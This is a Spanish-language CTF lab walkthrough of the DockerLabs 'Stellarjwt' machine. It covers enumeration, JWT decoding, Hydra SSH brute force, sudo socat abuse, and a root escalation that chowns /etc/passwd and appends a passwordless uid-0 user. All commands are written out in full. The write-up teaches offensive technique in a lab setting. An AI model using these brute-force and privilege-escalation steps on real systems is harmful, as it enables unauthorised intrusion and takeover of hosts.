> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/stellarjwt.md).

# Stellarjwt

## 1. Reconocimiento — Nmap

Se realiza un escaneo completo sobre el objetivo `172.17.0.2`.

```bash
nmap -sV -p- -T4 172.17.0.2
```

![Nmap scan](/files/sPW8Ghw0yXzIYknIvMMP)

**Resultados relevantes:**

| Puerto | Estado | Servicio | Versión                          |
| ------ | ------ | -------- | -------------------------------- |
| 22/tcp | open   | SSH      | OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 |
| 80/tcp | open   | HTTP     | Apache httpd 2.4.58 (Ubuntu)     |

* OS: Linux (CPE: `cpe:/o:linux:linux_kernel`)
* MAC: `C6:C1:D5:BB:D2:E9`

***

## 2. Enumeración Web

### 2.1 Web — Trivia NASA

Al acceder a `http://172.17.0.2`, se encuentra una web temática de la NASA con una pregunta de trivia:

> **¿Qué astrónomo alemán descubrió Neptuno?**

![Web NASA](/files/gatGZBniSkcqb14uQKBq)

La respuesta es **Johann Gottfried Galle**, quien realizó el descubrimiento el 23 de septiembre de 1846 desde el Observatorio de Berlín, basándose en los cálculos de Urbain Le Verrier.

![Gobuster results](/files/4ns7wPMw35n8qWug5nHM)

### 2.2 Gobuster

```bash
gobuster dir -u 172.17.0.2:80 \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,zip,php,txt,bak,sh,asp,aspx \
  -b 404 -t 60
```

![/universe source](/files/S3no3rbnnIthbJTX1dzL)

**Recursos encontrados:**

| Recurso       | Código | Tamaño |
| ------------- | ------ | ------ |
| index.html    | 200    | 1905   |
| universe      | 301    | 311    |
| server-status | 403    | 275    |

***

## 3. Análisis del directorio `/universe`

Al acceder a `http://172.17.0.2/universe/` se visualiza el código fuente de la página, donde se encuentra un token **JWT** embebido como comentario HTML.

![JWT header decode](/files/DBnhZRFdgv6Bs2PM69F2)

### 3.1 Decodificación del JWT

Se decodifican manualmente las tres partes del token con `base64 -d`:

**Header:**

```bash
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
```

```json
{"alg":"HS256","typ":"JWT"}
```

**Payload:**

```bash
echo "eyJzdWIiOiIxMjM0NTY3ODkwIiwidXNlciI6Im5lcHR1bm8iLCJpYXQiOjE1MTYyMzkwMjJ9" | base64 -d
```

```json
{"sub":"1234567890","user":"neptuno","iat":1516239022}
```

![Hydra attack](/files/wABThQjWlQ3Wht2R4bYv)

**Firma:** base64 inválido (padding incompleto — esperado en firmas JWT).

El JWT revela el usuario **`neptuno`**.

***

## 4. Acceso SSH — Fuerza Bruta con Hydra

Con el usuario `neptuno` identificado, se realiza un ataque de diccionario sobre SSH.

```bash
hydra -l neptuno -P user.txt 172.17.0.2 ssh
```

![SSH neptuno](/files/pDbC0EFlChj4JExLxCkh)

**Credenciales encontradas:** `neptuno : GottFried`

***

## 5. Acceso SSH como `neptuno`

```bash
ssh neptuno@172.17.0.2
```

* uid=1001(neptuno), gid=1001(neptuno), groups=1001(neptuno),100(users)
* `sudo -l` requiere contraseña

### 5.1 Búsqueda de SUID

```bash
find / -perm -4000 -type f 2>/dev/null
```

![SUID binaries](/files/QI8vWKoFVN1STvQCSay0)

Binarios SUID relevantes: `/usr/bin/su`, `/usr/bin/sudo`, `/usr/bin/mount`, `/usr/bin/passwd`, entre otros. Ninguno directamente explotable desde `neptuno`.

### 5.2 Carta a la NASA

```bash
ls -la
cat .carta_a_la_NASA.txt
```

![carta NASA](/files/ReAYPyhdkmbsrLwVVLzu)

Contenido de la carta:

```
Buenos días, quiero entrar en la NASA. Ya respondí las preguntas que me hicieron. Se las respondo de nuevo por aquí.

¿Qué significan las siglas NASA? → National Aeronautics and Space Administration
¿En qué año se fundó la NASA?   → 1958
¿Quién fundó la NASA?           → Eisenhower
```

La respuesta a la última pregunta revela la contraseña del usuario `nasa`: **`Eisenhower`**.

***

## 6. Pivoting a usuario `nasa`

```bash
su nasa
# Password: Eisenhower
```

![su nasa](/files/1SmCJ2nkLLSZBcRAVE8q)

```bash
sudo -l
```

![nasa home](/files/NwPOxP2JZWjVZ0XRSFzZ)

`nasa` puede ejecutar como `elite` **sin contraseña**:

```
(elite) NOPASSWD: /usr/bin/socat
```

***

## 7. Pivoting a usuario `elite` — Abuso de `socat`

```bash
sudo -u elite /usr/bin/socat - exec:/bin/sh,pty,ctty,raw,echo=0
```

![nasa sudo](/files/s6c9JMjKeUBIUZEXlfYP)

Se obtiene una shell como `elite`. Se estabiliza con Python:

```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

```bash
sudo -l
```

![socat elite](/files/TJCP5WdYegUk64dL6Wii)

`elite` puede ejecutar como `root` **sin contraseña**:

```
(root) NOPASSWD: /usr/bin/chown
```

***

## 8. Escalada de Privilegios — Abuso de `chown`

### 8.1 Tomar control de `/etc/passwd`

```bash
sudo /usr/bin/chown $(id -un):$(id -gn) /etc/passwd
```

![chown /etc/passwd](/files/cSZAGs7ORHymOH87BUej)

Ahora `elite` es propietario de `/etc/passwd` y puede escribir en él.

### 8.2 Inyectar usuario root sin contraseña

```bash
echo 'alberto::0:0:hacker:/root:/bin/bash' >> /etc/passwd
su alberto
```

![Root access](/files/1r53EHWVUXFBiF4pRn5I)

```
uid=0(root) gid=0(root) groups=0(root)
```

**¡Acceso root conseguido!**

***

## Resumen

| Paso | Técnica                              | Resultado                         |
| ---- | ------------------------------------ | --------------------------------- |
| 1    | Nmap                                 | SSH (22) + HTTP (80)              |
| 2    | Gobuster                             | `/universe` descubierto           |
| 3    | JWT decode (base64)                  | Usuario `neptuno` identificado    |
| 4    | Hydra (fuerza bruta SSH)             | `neptuno : GottFried`             |
| 5    | Lectura de `.carta_a_la_NASA.txt`    | Password `Eisenhower` para `nasa` |
| 6    | `su nasa`                            | Acceso como `nasa`                |
| 7    | sudo socat → shell `elite`           | Pivoting a `elite`                |
| 8    | sudo chown → escritura `/etc/passwd` | Usuario `alberto` (uid=0)         |
| 9    | `su alberto`                         | Root                              |


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/stellarjwt.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
